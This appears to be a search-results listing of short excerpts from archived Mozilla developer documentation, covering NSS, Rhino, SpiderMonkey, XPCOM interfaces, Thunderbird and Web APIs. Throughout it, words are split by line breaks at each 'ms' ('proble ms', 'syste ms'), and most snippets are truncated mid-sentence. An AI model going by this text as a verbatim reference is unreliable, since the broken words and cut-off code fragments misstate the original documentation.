... syntax #include <seccomon.h> #include <prtypes.h> #include <secport.h> typedef enum { sibuffer, sicleardatabuffer, sicipherdatabuffer, sidercertbuffer, siencodedcertbuffer, sidernamebuffer, siencodednamebuffer, siasciinamestring, siasciistring, sideroid } secitemtype; typedef struct secite
mstr secitem; struct secite
mstr { secitemtype type; unsigned char *data; unsigned int len; }; description a secitem structure can be used to associate your own data with an ssl socket.
TLS Cipher Suite Discovery
in order to communicate securely, an tls client and tls server must agree on the cryptographic algorith
ms and keys that they will both use on the secured connection.
... they must agree on these ite
ms: key establishment algorithm (such as rsa, dh, or ecdh) peer authentication algorithm (such as rsa, dsa, ecdsa) bulk data encryption algorithm (such as rc4, des, aes) and key size digest algorithm for message authentication checking (sha1, sha256) there are numerous available choices for each of those categories, and the number of possible combinations of all those choices is large.
Pork
pork has been tested mostly on linux, but in theory it should be possible to make it work on other syste
ms.
... old pork page pork details that haven't been moved to mdc renaming with pork sample pork application todos pork 1.0 release tracking bug pork releases download pork here community view pork foru
ms...
Rhino Examples
javascript shell shell.java is a program that executes javascript progra
ms; it is a simplified version of the shell in the tools package.
... the progra
ms may be specified as files on the command line or by typing interactively while the shell is running.
Rhino scopes and contexts
can seal the shared scope by callingscriptableobject.sealobject(): sealedsharedscope.sealobject(); note that currently one needs to explicitly seal any additional properties he adds to the sealed shared scope since although after calling sealedsharedscope.sealobject(); it would no be possible to set the additional properties to different values, one still would be able to alter the objects the
mselves.
...this causes proble
ms if functions you define in your shared scope need access to variables you define in your instance scope.
Scripting Java
exploratory programming is the process of learning about what a library or api can do by writing quick progra
ms that use it.
...if we just view the method object by itself we can see the various overloaded for
ms of the method: js> f.listfiles function listfiles() {/* java.io.file[] listfiles() java.io.file[] listfiles(java.io.filenamefilter) java.io.file[] listfiles(java.io.filefilter) */} this output shows that the file class defines three overloaded methods listfiles: one that takes no arguments, another with a filenamefilter argument, and a third with a filefilter argument.
Rhino serialization
however, you can run into proble
ms with serialization of compiled functions and scripts: $ cat test.jsfunction f() { return 3; } serialize(f, "f.ser"); g = deserialize("f.ser"); print(g()); $ java org.mozilla.javascript.tools.shell.main -opt -1test.js 3 $ java org.mozilla.javascript.tools.shell.main test.js js: uncaught javascript exception: java.lang.classnotfoundexception:c1 the problem is that java serialization has no built-i...
...n way to serialize java classes the
mselves.
Rebranding SpiderMonkey (1.8.5)
it also allows these instructions to apply to a wide range platfor
ms without introducing more software dependencies.
...if this is not desirable, you can issue the following command on unix syste
ms: sed -i "s/mozjs185/$brand/" /usr/bin/js-config which perfor
ms a simple text replacement of mozjs185 with your branding on the js-config script.
How to embed the JavaScript engine
on windows, do not install the spidermonkey source code under the
msys root directory (which is usually c:\mozilla-build\
msys).
...and say: ok = js_definefunctions(cx, global, my_functions); how to call javascript functions from c first, create arguments for the call, here i create arguments with 2 ite
ms: // [spidermonkey 24] js::autovaluearray is not defined.
Bytecodes
bytecodes can reference ato
ms and objects (typically by array index) which are also contained in the jsscript data structure.
...all bytecodes implicitly operate in ter
ms of this location.
JIT Optimization Outcomes
accessnottypedarray accessnotstring statictypedarrayuint32 statictypedarraycantcomputemask outofbounds getele
mstringnotcached nonnativereceiver indextype setelemnondensenontanotcached nosimdjitsupport optimization failed because simd jit support was not enabled.
...eadexpando icgetpropstub_unboxedarraylength icgetpropstub_typedarraylength icgetpropstub_domproxyshadowed icgetpropstub_domproxyunshadowed icgetpropstub_genericproxy icgetpropstub_argumentslength icsetpropstub_slot icsetpropstub_genericproxy icsetpropstub_domproxyshadowed icsetpropstub_domproxyunshadowed icsetpropstub_callsetter icsetpropstub_addslot icsetpropstub_setunboxed icgetele
mstub_readslot icgetele
mstub_callgetter icgetele
mstub_readunboxed icgetele
mstub_dense icgetele
mstub_densehole icgetele
mstub_typedarray icgetele
mstub_argselement icgetele
mstub_argselementstrict icsetele
mstub_dense icsetele
mstub_typedarray icnamestub_readslot icnamestub_callgetter call inlining outcomes optimization outcomes of attempts to inline function calls.
JIT Optimization Strategies
getprop_inferredconstant attempts to optimize an access to a property that see
ms to be a constant.
...this is one of the most important optimizations the jit perfor
ms.
JS_GC
perfor
ms garbage collection in the js memory pool.
...obsolete since jsapi 50 description js_gc perfor
ms garbage collection of js objects, strings and other internal data structures that are no longer reachable in the specified context or runtime.
JS_InitClass
this inconsistency can cause proble
ms; for example, if the finalizer calls js_getprivate(), expecting that the constructor called js_setprivate(), it may find that the private data is null.
...(this is a feature of the c and c++ languages.) otherwise, use me
mset.
The Rust programming language
rust is a new open-source syste
ms programming language created by mozilla and a community of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors.
... rust and the future of syste
ms programming unlocking the power of parallelism with rust rust for web developers safe syste
ms programming with rust growing the rust community putting rust into production at mozilla ...
Setting up an update server
ing="utf-8"?> <updates> <update type="minor" displayversion="2000.0a1" appversion="2000.0a1" platformversion="2000.0a1" buildid="21181002100236"> <patch type="complete" url="http://127.0.0.1:8000/<mar name>" hashfunction="sha512" hashvalue="<hash>" size="<size>"/> </update> </updates> if you've downloaded the mar you're using, you'll find the sha512 value in a file called sha512su
ms in the root of the release directory on archive.mozilla.org for a release or beta build (you'll have to search it for the file name of your mar, since it includes the sha512 for every file that's part of that release), and for a nightly build you'll find a file with a .checksu
ms extension adjacent to your mar that contains that information (for instance, for the mar file at https://archive.mozill...
...a.org/pub/firefox/nightly/2019/09/2019-09-17-09-36-29-mozilla-central/firefox-71.0a1.en-us.win64.complete.mar, the file https://archive.mozilla.org/pub/firefox/nightly/2019/09/2019-09-17-09-36-29-mozilla-central/firefox-71.0a1.en-us.win64.checksu
ms contains the sha512 for that file as well as for all the other win64 files that are part of that nightly release).
Accessibility API Implementation Details
we provide for them the support of these products on windows, linux/unix and os x platfor
ms.at developmentthe accessibility of computer software has seen drastic improvements over the past two decades.
... xfor
ms accessibilitythis article provides a quick guide to how accessibility is handled in gecko for xfor
ms.xul accessibilitythis article shows how xul control elements are mapped to accessibility api.
The Places database
places is designed to be a complete replacement for the firefox bookmarks and history syste
ms using storage.
... moz_ite
ms_annos: contains the values of bookmark item annotations.
The Publicity Stream API
activity is an object, formatted as per the fixme: deadlinkactivity strea
ms open specification.
... onsuccess will be called with a single argument: a json list of the current user's socially relevant app activity in the fixme: deadlinkactivity strea
ms open specification.
Accessing the Windows Registry Using XPCOM
introduction when implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed progra
ms.
...this example reads all the startup progra
ms in one key of the registry.
Generating GUIDs
online tools generate guid online uuid (guid) generator on the web uuid generator for mozilla code (both idl and c++.h for
ms) you can get a guid from one of the bots (such as botbot, firebot) on #firefox irc channel by /
msging "uuid" to them.
...(this tool is also part of
ms visual c++) linux use /usr/bin/uuidgen.
XPCOM guide
this article details those changes, and provides suggestions for how to update your code.xpcom hashtable guidea hashtable is a data construct that stores a set of ite
ms.
...ite
ms are found, added, and removed from the hashtable by using the key.
How to build a binary XPCOM component using Visual Studio
for example, xulrunner 1.8.0.4 which has a pre-built sdk at gecko-sdk-win32-
msvc-1.8.0.4.zip.
... note: wintools.zip see
ms old and lots of newer mdc documentation refers to moztools.zip archive, but the version of xpidl.exe that comes with the gecko-sdk crashes with the dll’s from moztools.
Components.utils.importGlobalProperties
system scopes such as js
ms and frame scripts don't have certain objects, such as indexeddb and xmlhttprequest, that are available to dom window globals.
...t xpcom component atob blob btoa crypto css fetch file nsidomfile indexeddb nodefilter firefox 60 nsidomnodefilter obsolete since gecko 60 rtcidentityprovider textdecoder textencoder url urlsearchpara
ms xmlhttprequest nsixmlhttprequest obsolete since gecko 60 for string/object in table without a minimum firefox version, it is not exactly known since when it was available, however it is guranteed available from firefox 28 and up.
xpcshell
js> see also howto for common proble
ms in writing xpcshell scripts, e.g., doing async network calls or using js modules.
... pretty much all mozilla progra
ms use xpcom components via xpconnect.
NS_NewNativeLocalFile
this parameter has no effect on unix syste
ms.
... remarks on unix syste
ms, the prefix "~/" is supported as a shorthand for the user's home directory.
Folders
the folder classes all implement the nsi
msgfolder interface.
...they all inherit from ns
msgdbfolder, which implements a lot of the core functionality.
mozIPlacesAutoComplete
therefore, consumers must unregister or register the
mselves.
...therefore, consumers must unregister or register the
mselves.
mozIStorageStatementWrapper
para
ms mozistoragestatementpara
ms the parameters; these can be set in lieu of using the call notation on this.
...see also storage mozistoragestatement mozistoragestatementrow mozistoragestatementpara
ms ...
GroupPosition
used for tree ite
ms, list ite
ms, tab panel labels, radio buttons, etc.
... void groupposition( out long agrouplevel, out long asimilarite
msingroup, out long apositioningroup ); parameters agrouplevel 1-based, similar to aria aria-level property asimilarite
msingroup 1-based, similar to aria aria-setsize property, inclusive of the current item.
nsIAccessibleRetrieval
nsiaccessnode getcachedaccessnode(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsidomnode getrelevantcontentnodefor(in nsidomnode anode); astring getstringeventtype(in unsigned long aeventtype); astring getstringrelationtype(in unsigned long arelationtype); astring getstringrole(in unsigned long arole); nsidomdo
mstringlist getstringstates(in unsigned long astates, in unsigned long aextrastates); methods getaccessiblefor() return an nsiaccessible for a dom node in pres shell 0.
...nsidomdo
mstringlist getstringstates( in unsigned long astates, in unsigned long aextrastates ); parameters astates accessible states.
nsIAppShellService
this will usually be false on all non-mac platfor
ms.
...(and at application startup, on platfor
ms that do not normally quit when the last window has closed, call enter once, but not exit) void enterlastwindowclosingsurvivalarea(); parameters none.
nsIAsyncStreamCopier
note: at least one of the strea
ms must be buffered.
...this value should match the segment size of any buffered strea
ms involved in the operation.
nsIAuthModule
unwrap() this method is used to unpack, decrypt, and verify the checksu
ms on data returned by a server when security layers are in use.
...calls to this method are used to protect ite
ms of data to be sent to the server.
nsICache
not_stream_based 0 all entries for a cache session are stored as strea
ms of data or as objects.
... stream_based 1 all entries for a cache session are stored as strea
ms of data or as objects.
nsIDOMMouseScrollEvent
method overview void initmousescrollevent(in do
mstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes ...
...void initmousescrollevent( in do
mstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis )...
nsIDOMMozTouchEvent
last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidommouseevent method overview void initmoztouchevent(in do
mstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, ...
...void initsimplegestureevent( in do
mstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in unsigned lo...
nsIDOMOrientationEvent
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsidomevent method overview void initorientationevent(in do
mstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z); attributes attribute type description x double the amount of tilt along the x axis.
...void initprogressevent( in do
mstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z ); parameters eventtypearg the type of event.
nsIDOMParser
parsing a string once you've created a domparser object, you can use its parsefro
mstring method to parse xml or html as described in the web platform documentation.
... examples within the context of a window: var parser = new domparser(); var doc = parser.parsefro
mstring(astr, "application/xml"); outside of a window (e.g., a js xpcom component, a js module, or an xpcshell test): var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); var doc = parser.parsefro
mstring(astr, "application/xml"); using components.constructor(): const domparser = new components.constructor("@mozilla.org/xmlextras/domparser;1", "nsidomparser"); var parser = new domparser(); parser.init(principal, documenturi, baseuri); var doc = parser.parsefro
mstring(astr, "application/xml"); ...
nsIDOMProgressEvent
method overview void initprogressevent(in do
mstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg); deprecated since gecko 22.0 attributes attribute type description lengthcomputable boolean specifies whether or not the total size of the transfer is known.
... void initprogressevent( in do
mstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg ); parameters typearg the type of event.
nsIDOMUserDataHandler
1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in do
mstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned.
...void handle( in unsigned short operation, in do
mstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst ); parameters operation one of the node_* operation type constants from the above table.
nsIDOMXULSelectControlElement
inherits from: nsidomxulcontrolelement last changed in gecko 1.9 (firefox 3) method overview nsidomxulselectcontrolitemelement appenditem(in do
mstring label, in do
mstring value); long getindexofitem(in nsidomxulselectcontrolitemelement item); nsidomxulselectcontrolitemelement getitematindex(in long index); nsidomxulselectcontrolitemelement insertitemat(in long index, in do
mstring label, in do
mstring value); nsidomxulselectcontrolitemelement removeitemat(in long index); attributes attribute type description itemcount unsigned long read only.
... selectedindex long selecteditem nsidomxulselectcontrolitemelement value do
mstring methods appenditem() nsidomxulselectcontrolitemelement appenditem( in do
mstring label, in do
mstring value ); parameters label value return value getindexofitem() long getindexofitem( in nsidomxulselectcontrolitemelement item ); parameters item return value getitematindex() nsidomxulselectcontrolitemelement getitematindex( in long index ); parameters index return value insertitemat() nsidomxulselectcontrolitemelement insertitemat( in long index, in do
mstring label, in do
mstring value ); parameters index label value return value removeitemat() nsidomxulselectcontrolitemelement removeitemat( in long index ); parameters index return value ...
nsIDialogParamBlock
inherits from: nsisupports last changed in gecko 1.7 method overview print32 getint( in print32 inindex ); wstring getstring( in print32 inindex ); void setint( in print32 inindex, in print32 inint ); void setnumberstrings( in print32 innu
mstrings ); void setstring( in print32 inindex, in wstring instring); attributes attribute type description objects nsimutablearray a place where you can store an nsimutablearray to pass nsisupports.
...void setnumberstrings( in print32 innu
mstrings ); parameters innu
mstrings the new maximum number of strings to pass.
nsIDragService
void firedrageventatsource(in unsigned long a
msg); obsolete since gecko 43 void firedrageventatsource(in mozilla::eventmessage aeventmessage); native code only!
... void firedrageventatsource( in unsigned long a
msg ); obsolete since gecko 43 parameters a
msg one of the ns_dragdrop_* contants which was defined in widget/basicevents.h fire a drag event at the fource of the drag.
nsIEditorIMESupport
obsolete since gecko 2.0 void setcompositionstring(in do
mstring acompositionstring, in nsiprivatetextrangelistptr atextrange, in nstexteventreplyptr areply); native code only!
...void setcompositionstring( in do
mstring acompositionstring, in nsiprivatetextrangelistptr atextrange, in nstexteventreplyptr areply ); parameters acompositionstring atextrange areply ...
nsIEditorMailSupport
inherits from: nsisupports last changed in gecko 1.7 method overview nsisupportsarray getembeddedobjects(); nsidomnode insertascitedquotation(in astring aquotedtext, in astring acitation, in boolean ainserthtml); nsidomnode insertasquotation(in astring aquotedtext); void inserttextwithquotations(in do
mstring astringtoinsert); void pasteascitedquotation(in astring acitation, in long aselectiontype); void pasteasquotation(in long aselectiontype); void rewrap(in boolean arespectnewlines); void stripcites(); methods getembeddedobjects() get a list of img and object tags in the current document.
...void inserttextwithquotations( in do
mstring astringtoinsert ); parameters astringtoinsert the string to be inserted pasteascitedquotation() paste a string as quoted text, whose representation is dependent on the editor type, replacing the selected text (if any) void pasteascitedquotation( in astring acitation, in long aselectiontype ); parameters acitation the "mid" url of the source message.
nsIEnvironment
note: * for unix/linux platfor
ms we follow the unix definition: an environment variable exists when getenv() returns a non-null value.
... for non-unix/linux platfor
ms we have to fall back to a "portable" definition (which is incorrect for unix/linux!!!!) which simply checks whether the string returned by get() is empty or not.
nsIFeed
it includes attributes that provide information about the feed, as well as access to the ite
ms or entries in the feed.
... ite
ms nsiarray specifies an array of the ite
ms or entries on the feed.
Using nsILoginManager
defining an nsilogininfo object is simple: var nslogininfo = new components.constructor( "@mozilla.org/login-manager/logininfo;1", components.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, for
msubmiturl, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secret123', 'uname', 'pword' ); this login would correspond to a html form such as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.<...
... required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new afor
msubmiturl, ausername, ausernamefield, ...
nsIProcess
this value is only available after the process has started; in addition, some platfor
ms may not offer this value at all.
...// second and third para
ms are used to pass command-line arguments // to the process.
nsIPrompt
method overview void alert(in wstring dialogtitle, in wstring text); void alertcheck(in wstring dialogtitle, in wstring text, in wstring check
msg, inout boolean checkvalue); boolean confirm(in wstring dialogtitle, in wstring text); boolean confirmcheck(in wstring dialogtitle, in wstring text, in wstring check
msg, inout boolean checkvalue); print32 confirmex(in wstring dialogtitle, in wstring text, in unsigned long buttonflags, in wstring button0title, in wstring button1title, in wstring butt...
...on2title, in wstring check
msg, inout boolean checkvalue); boolean prompt(in wstring dialogtitle, in wstring text, inout wstring value, in wstring check
msg, inout boolean checkvalue); boolean promptpassword(in wstring dialogtitle, in wstring text, inout wstring password, in wstring check
msg, inout boolean checkvalue); boolean promptusernameandpassword(in wstring dialogtitle, in wstring text, inout wstring username, inout wstring password, in wstring check
msg, inout boolean checkvalue); boolean select(in wstring dialogtitle, in wstring text, in pruint32 count, [array, size_is(count)] in wstring selectlist, out long outselection); constants the button flags defined in nsiprompt are the same as those defined in nsipromptser...
nsIPushMessage
method overview do
mstring text(); jsval json(); void binary([optional] out uint32_t datalen, [array, retval, size_is(datalen)] out uint8_t data); methods text() extracts the message data as a utf-8 text string.
... do
mstring text(); parameters none.
nsIPushSubscription
method overview void getkey(in do
mstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key); bool quotaapplies(); bool isexpired(); attributes attribute type description endpoint do
mstring the subscription url.
... void getkey( in do
mstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key ); parameters name the encryption key name.
nsISearchEngine
if value is "{searchter
ms}", it will be substituted with the user-entered data when retrieving the submission.
...that is the search ter
ms.
nsISelection3
method overview void modify(in do
mstring alter, in do
mstring direction, in do
mstring granularity); methods modify() modifies the selection.
... void modify( in do
mstring alter, in do
mstring direction, in do
mstring granularity ); parameters alter can be one of { "move", "extend" } "move" collapses the selection to the end of the selection and applies the movement direction/granularity to the collapsed selection.
nsIVariant
do
mstring getasdo
mstring(); native code only!
...native code only!getasdo
mstring do
mstring getasdo
mstring(); parameters none.
nsIWinAccessNode
accessible/public/
msaa/nsiwinaccessnode.idlnot scriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview voidptr querynativeinterface([const] in
mscomiidref aiid); methods querynativeinterface() voidptr querynativeinterface( [const] in
mscomiidref aiid ); parameters aiid return value ...
nsIWindowWatcher
registernotification() clients of this service can register the
mselves to be notified when a window is opened or closed (added to or removed from this service).
... unregisternotification() clients of this service can register the
mselves to be notified when a window is opened or closed (added to or removed from this service).
nsIWorker
method overview void postmessage(in do
mstring amessage, [optional] in nsiworkermessageport amessageport); attributes attribute type description onmessage nsidomeventlistener an object to receive notifications when messages are received on the worker's message port.
...void postmessage( in do
mstring amessage, in nsiworkermessageport amessageport optional ); parameters amessage the message the worker wishes to post back to its creator.
nsIWorkerFactory
to create an instance, use: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); method overview nsiworker newchromeworker(in do
mstring ascripturl); methods newchromeworker() returns a new chromeworker that will run a specified script.
... nsiworker newchromeworker( in do
mstring ascripturl ); parameters ascripturl the url of the script to load into the new worker.
nsIWorkerMessagePort
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void postmessage(in do
mstring amessage); methods postmessage() posts a message into the event queue.
... void postmessage( in do
mstring amessage ); parameters amessage the message to post.
nsIWorkerScope
1.0 66 introduced gecko 1.9.1 inherits from: nsiworkerglobalscope last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void postmessage(in do
mstring amessage, [optional] in nsiworkermessageport amessageport); void close(); attributes attribute type description onclose nsidomeventlistener a listener object to be called when the worker stops running.
...void postmessage( in do
mstring amessage, in nsiworkermessageport amessageport optional ); parameters amessage the message to post.
nsIXULRuntime
it may not be available on all platfor
ms, especially unusual processor or compiler combinations.
... the result takes the form <processor>-<compilerabi>, for example: x86-
msvc ppc-gcc3.
nsIXULWindow
on some platfor
ms, windows with a higher zlevel will be kept above windows with a lower zlevel.
...in particular, calling this when this xul window does not yet have a document in its docshell could cause proble
ms.
nsIAbCard/Thunderbird3
same as home, but with `work' instead of `home' other contact: faxnumber, faxnumbertype pagernumber, pagernumbertype cellularnumber, cellularnumbertype jobtitle, department, company _ai
mscreenname dates: anniversaryyear, anniversarymonth, anniversaryday birthyear, birthmonth, birthday webpage1 (work), webpage2 (home) custom1, custom2, custom3, custom4 notes integral properties: lastmodifieddate popularityindex prefermailformat (see nsiabprefermailformat) boolean properties: allowremotecontent inherits from: nsiabitem metho...
... these functions are marked <code>[noscript] since xpcconnect perfor
ms automatic type conversion on nsivariant such that they are not needed for scripts, only for c++ callers.
XPCOM
accessing the windows registry using xpcomwhen implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed progra
ms.
...while xpcom components written in a scripting language (such as javascript) can be moved across platfor
ms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform.
Address Book examples
list"); maillistcard.setproperty("notes", "new list description"); then you need to get the equivalent mailing list object that implements nsiabdirectory: let abmanager = components.classes["@mozilla.org/abmanager;1"] .getservice(components.interfaces.nsiabmanager); let maillistdirectory = abmanager.getdirectory(maillistcard.maillisturi); you can then adjust the ite
ms in the actual mailing list: maillistdirectory.addresslists.appendelement(newcard, false); then save the updated list to the database: maillistdirectory.editmaillisttodatabase(maillistcard); deleting a mailing list there are two ways to delete a mailing list.
... the "mydomain" and "addrbook" behaviours can be changed by passing an identity key (see nsi
msgidentity.key) via an attribute autocompletesearchparam on the textbox element.
Mailbox
this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanis
ms that reading nntp and imap messages do - running urls, getting onstart/stoprunningurl notifications when the url starts/stops, etc.
... the mailbox protocol is also used to regenerate a summary file, in conjunction with ns
msgmailboxparser ...
Styling the Folder Pane
specialfolder-foldertype afolder.flags & ns
msgfolderflags.<name> returns the folder type if it is a special folder (or "none" if it is a regular folder).
... biffstate-biffstate afolder.biffstate == nsi
msgfolder.ns
msgbiffstate_<name> indicates whether or not the folder has new messages.
Thunderbird
database views backend information about nsi
msgdbview and related interfaces.
... community thunderbird product home page thunderbird project community pages user support is handled at mozilla support development discussion happens on the tb-planning mailing list: subscribe archives add-on developers forum/mailing list mozillazine foru
ms mozilla messaging web page #thunderbird on irc.mozilla.org (for users) #maildev on irc.mozilla.org (for developers) a list of all thunderbird communication channels ...
Working with windows in chrome code
the second parameter is the window's name; the name can be used in links or for
ms as the target attribute.
...bypassing xpcnativewrapper to work with content javascript directly can lead to security proble
ms.
Constants - Plugins
npres_network_err 1 stream failed due to proble
ms with network, disk i/o, lack of memory, or other proble
ms.
... npvers_has_response_headers 17 npstrea
ms have response headers for http strea
ms.
Memory - Plugins
for communicator 4.0 and later versions, this function is not necessary for the mac os platform; npn_memalloc now perfor
ms memory flushing internally.
...calling npn_memflush is particularly important to syste
ms with small amounts of ram and with virtual memory turned off.
Gecko Plugin API Reference - Plugins
owless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins
ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving strea
ms working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platfor
ms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native insta...
...ting information windowed plug-ins mac os windows unix event handling for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins strea
ms receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls ...
3D view - Firefox Developer Tools
e the currently selected node is visible reset view r resets zoom, rotation, and panning to the default hide current node x makes the currently selected node invisible; this can be helpful if you need to get at a node that's obscured use cases for the 3d view there are a variety of ways the 3d view is useful: if you have broken html causing layout proble
ms, looking at the 3d view can help find where you've gone wrong.
... often, layout proble
ms are caused by improper nesting of content.
Introduction to DOM Inspector - Firefox Developer Tools
(note that there are bugs which prevent the flasher from dom inspector apis from working correctly on certain platfor
ms.) if you inspect the main browser window, for example, and select nodes in the dom nodes viewer (other than the elements which have no visible ui as is the case with the endless list of script elements that are loaded into browser.xul), you will see the various parts of the browser interface being highlighted with a blinking red border.
...you can perform actions on the individual ite
ms in this list from the context menu and the edit menu, both of which contain menutimes that allow you edit the values of those attributes.
Debugger-API - Firefox Developer Tools
debugger has three essential qualities: it is a source level interface: it operates in ter
ms of the javascript language, not machine language.
...cross-thread, cross-process, and cross-device tools must use debugger to observe the debuggee from within the same thread, and then handle any needed communication the
mselves.
Dominators view - Firefox Developer Tools
this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects the
mselves plus the size of the objects that they keep alive through references.
...if either of these references were removed, the ite
ms below them could be garbage-collected.
Examine and edit CSS - Firefox Developer Tools
typing in the search box perfor
ms a live filtering of the list, so, for example, if you just want to see font-related settings, you can type "font" in the search box, and only properties with "font" in the name will be listed.
... there's also a button that enables you to do the same thing: copy rules to copy rules, and pieces of rules, use one of the following context menu ite
ms in the rules view: copy rule copy selector copy property declaration copy property name copy property value ...
Responsive Design Mode - Firefox Developer Tools
network throttling if you do all your development and testing using a very fast network connection, users may experience proble
ms with your site if they are using a slower connection.
... selection download speed upload speed minimum latency (
ms) gprs 50 kb/s 20 kb/s 500 regular 2g 250 kb/s 50 kb/s 300 good 2g 450 kb/s 150 kb/s 150 regular 3g 750 kb/s 250 kb/s 100 good 3g 1.5 mb/s 750 kb/s 40 regular 4g/lte 4 mb/s 3 mb/s 20 dsl 2 mb/s 1 mb/s 5 wi-fi 30 mb/s 15 mb/s 2 to select a networ...
AnalyserNode.AnalyserNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetanalysernode() constructorchrome full support 55edge full support ≤79firefox full support 53ie no support noopera full support 42safari full supp...
... 6webview android full support 55chrome android full support 55firefox android full support 53opera android full support 42safari ios full support 6sa
msung internet android full support 6.0legend full support full support no support no support ...
AnimationEvent.initAnimationEvent() - Web APIs
syntax animationevent.initanimationevent(typearg, canbubblearg, cancelablearg, animationnamearg, elapsedtimearg); parameters typearg a do
mstring identifying the specific type of animation event that occurred.
... animationnamearg a do
mstring containing the value of the animation-name css property associated with the transition.
AnimationEvent - Web APIs
animationevent.animationname read only is a do
mstring containing the value of the animation-name that generated the animation.
... animationevent.pseudoelement read only is a do
mstring, starting with '::', containing the name of the pseudo-element the animation runs on.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetaudiobuffersourcenode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie ...
... sa
msung internet android full support 6.0notes full support 6.0notes notes before sa
msung internet 7.0, the default values were not supported.legend full support full support no support ...
AudioContext.baseLatency - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbaselatency experimentalchrome full support 58edge full support ≤79firefox full support 70ie no support noopera full support 45safari no support ...
... nowebview android full support 58chrome android full support 58firefox android no support noopera android full support 43safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no supportexperimental.
AudioContext.createMediaStreamTrackSource() - Web APIs
this differs from createmediastrea
msource(), which creates a mediastreamaudiosourcenode whose audio comes from the audio track in a specified mediastream whose id is first, lexicographically (alphabetically).
... navigator.mediadevices.getusermedia ({audio: true, video: false}) .then(function(stream) { audio.srcobject = stream; audio.onloadedmetadata = function(e) { audio.play(); audio.muted = true; }; let audioctx = new audiocontext(); let source = audioctx.createmediastrea
